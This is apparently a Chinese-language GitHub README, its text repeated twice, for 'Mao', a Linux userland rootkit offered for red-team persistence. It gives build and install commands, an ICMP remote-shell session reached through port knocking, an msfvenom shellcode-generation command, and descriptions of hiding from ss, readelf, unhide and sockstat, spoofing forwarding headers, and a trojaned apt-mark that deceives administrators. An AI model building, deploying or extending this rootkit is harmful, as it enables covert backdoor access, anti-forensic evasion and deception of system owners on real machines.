mephistolist/Mao
GitHub: mephistolist/Mao
一款面向 Linux x86_64 的用户态 rootkit,通过 ICMP 隧道通信并具备丰富的隐藏与反取证能力,适用于红队持久化控制和攻防研究。
Stars: 19 | Forks: 3
# Mao
一个旷日持久的人民 rootkit。
## 另一个针对 Linux 的 x86_64 用户态 rootkit。
就像在现实生活中一样,Mao 从 Hoxha 那里获得了大量灵感。虽然他的风格与 Tito 不同,但他们都将资本主义的元素融入了各自的经济中。与此同时,Mao 也有他自己的理论和遗产。出于这个原因,你可能会在这个项目中发现前述两个项目的元素,但同时也有大量的改进和变化。更好的变异机制、反取证技术以及在系统上更好的隐藏效果。再说一遍,在这个项目正式发布之前,我可能会暂时搁置对其进行深入的探讨。
为了编译这段代码,你需要安装一个依赖项:
```
sudo apt install libreadline-dev
```
然后你可以使用以下命令进行下载、编译和安装:
```
git clone https://github.com/mephistolist/Mao.git; cd Mao; make; make install;
```
完成这些之后,你应该会得到一个名为 'enver' 的二进制文件,你在项目目录中是看不到它的。然而,你可以输入带有你安装该程序所在 IP 地址的 'enver' 命令来进行连接:
```
./enver 127.0.0.1
[*] Initiating knock sequence. Please wait.
[*] ☭ Political power grows out of the barrel of a gun. ☭
[+] ICMP shell connected. Type commands (type 'exit' to quit):
icmp-shell>
```
## 新特性
取自 Hoxha 的 enver 客户端现在能够伪造 X-Forwarded-For、X-Originating-IP、X-Remote-IP 和 X-Remote-Addr 头部。如果有人试图拦截你的流量,而你又通过 VPN 或代理伪造了你的 IP,这些头部信息可能会暴露你的真实位置,或者如果被伪造的话,会进一步迷惑对方。
你还会注意到,enver 和 hoxha 都进行了检查,以确保传递了十六进制值 0xDEADBEEF。因此,即使在端口敲门检查和密码验证之后,每个数据包也需要携带该值,以确保连接保持不断开。
与 Hoxha 不同,我们将对 readelf、unhide、sockstat、ss 和 Tab 键补全隐藏不可见。不过,在安装后,你可能需要退出 SSH 并重新连接,才能看到 Tab 键补全隐藏生效。
为了防止覆盖那些会欺骗管理员的软件包,我们还将安装一个自定义版本的 apt-mark,它不会显示我们设置为保留状态的具体软件包。
像 Tito 一样,我们将使用 ICMP shell,但 Tito 中的 shell 使用了较旧的函数,无法进行静态链接。Mao 中的 ICMP shell 现在已经允许进行静态链接了。
在变异和反调试部分中添加了许多新功能,
## 开发说明
如果你对此代码进行了更改,你将需要使用 msfvenom 重新生成其二进制数据:
```
msfvenom -p linux/x64/exec CMD=/usr/bin/hoxha -f raw -o shellcode.bin -b "\x00\x0a\x0d"
```
然后将其转换为 base64:
```
base64 -w0 shellcode.bin
```
接着替换掉 libexec.c 中的 base64 内容并重新编译,以应用你的更改。
如果你想修改 'tools' 目录下的二进制文件,你可以在源代码中 grep 搜索 'Mao',以查看我们在何处进行了编辑:
```
# grep -nr Mao references/
references/sockstat.c:299: /* --- Mao Handler --- */
references/readelf.c:1977: /* Mao handler */
references/ss.c:2469: /* Mao handler to hide ICMP/ICMPv6 sockets entirely */
references/apt-mark.cc:368: // Mao - packages to filter out
```
'references' 目录中的 README 文件包含更多文档。
目前已在使用 6.16.7 内核的 Debian Forky 上进行了测试。
## 另一个针对 Linux 的 x86_64 用户态 rootkit。
就像在现实生活中一样,Mao 从 Hoxha 那里获得了大量灵感。虽然他的风格与 Tito 不同,但他们都将资本主义的元素融入了各自的经济中。与此同时,Mao 也有他自己的理论和遗产。出于这个原因,你可能会在这个项目中发现前述两个项目的元素,但同时也有大量的改进和变化。更好的变异机制、反取证技术以及在系统上更好的隐藏效果。再说一遍,在这个项目正式发布之前,我可能会暂时搁置对其进行深入的探讨。
为了编译这段代码,你需要安装一个依赖项:
```
sudo apt install libreadline-dev
```
然后你可以使用以下命令进行下载、编译和安装:
```
git clone https://github.com/mephistolist/Mao.git; cd Mao; make; make install;
```
完成这些之后,你应该会得到一个名为 'enver' 的二进制文件,你在项目目录中是看不到它的。然而,你可以输入带有你安装该程序所在 IP 地址的 'enver' 命令来进行连接:
```
./enver 127.0.0.1
[*] Initiating knock sequence. Please wait.
[*] ☭ Political power grows out of the barrel of a gun. ☭
[+] ICMP shell connected. Type commands (type 'exit' to quit):
icmp-shell>
```
## 新特性
取自 Hoxha 的 enver 客户端现在能够伪造 X-Forwarded-For、X-Originating-IP、X-Remote-IP 和 X-Remote-Addr 头部。如果有人试图拦截你的流量,而你又通过 VPN 或代理伪造了你的 IP,这些头部信息可能会暴露你的真实位置,或者如果被伪造的话,会进一步迷惑对方。
你还会注意到,enver 和 hoxha 都进行了检查,以确保传递了十六进制值 0xDEADBEEF。因此,即使在端口敲门检查和密码验证之后,每个数据包也需要携带该值,以确保连接保持不断开。
与 Hoxha 不同,我们将对 readelf、unhide、sockstat、ss 和 Tab 键补全隐藏不可见。不过,在安装后,你可能需要退出 SSH 并重新连接,才能看到 Tab 键补全隐藏生效。
为了防止覆盖那些会欺骗管理员的软件包,我们还将安装一个自定义版本的 apt-mark,它不会显示我们设置为保留状态的具体软件包。
像 Tito 一样,我们将使用 ICMP shell,但 Tito 中的 shell 使用了较旧的函数,无法进行静态链接。Mao 中的 ICMP shell 现在已经允许进行静态链接了。
在变异和反调试部分中添加了许多新功能,
## 开发说明
如果你对此代码进行了更改,你将需要使用 msfvenom 重新生成其二进制数据:
```
msfvenom -p linux/x64/exec CMD=/usr/bin/hoxha -f raw -o shellcode.bin -b "\x00\x0a\x0d"
```
然后将其转换为 base64:
```
base64 -w0 shellcode.bin
```
接着替换掉 libexec.c 中的 base64 内容并重新编译,以应用你的更改。
如果你想修改 'tools' 目录下的二进制文件,你可以在源代码中 grep 搜索 'Mao',以查看我们在何处进行了编辑:
```
# grep -nr Mao references/
references/sockstat.c:299: /* --- Mao Handler --- */
references/readelf.c:1977: /* Mao handler */
references/ss.c:2469: /* Mao handler to hide ICMP/ICMPv6 sockets entirely */
references/apt-mark.cc:368: // Mao - packages to filter out
```
'references' 目录中的 README 文件包含更多文档。
目前已在使用 6.16.7 内核的 Debian Forky 上进行了测试。标签:DNS 反向解析, HTTP头欺骗, ICMP Shell, IP伪造, Linux Rootkit, x86_64, 反向Shell, 后门, 客户端加密, 恶意软件, 抗取证, 用户态Rootkit, 端口敲击, 端口敲门, 网络安全, 通信加密, 隐私保护, 隐蔽通信, 隐藏进程, 黑帽工具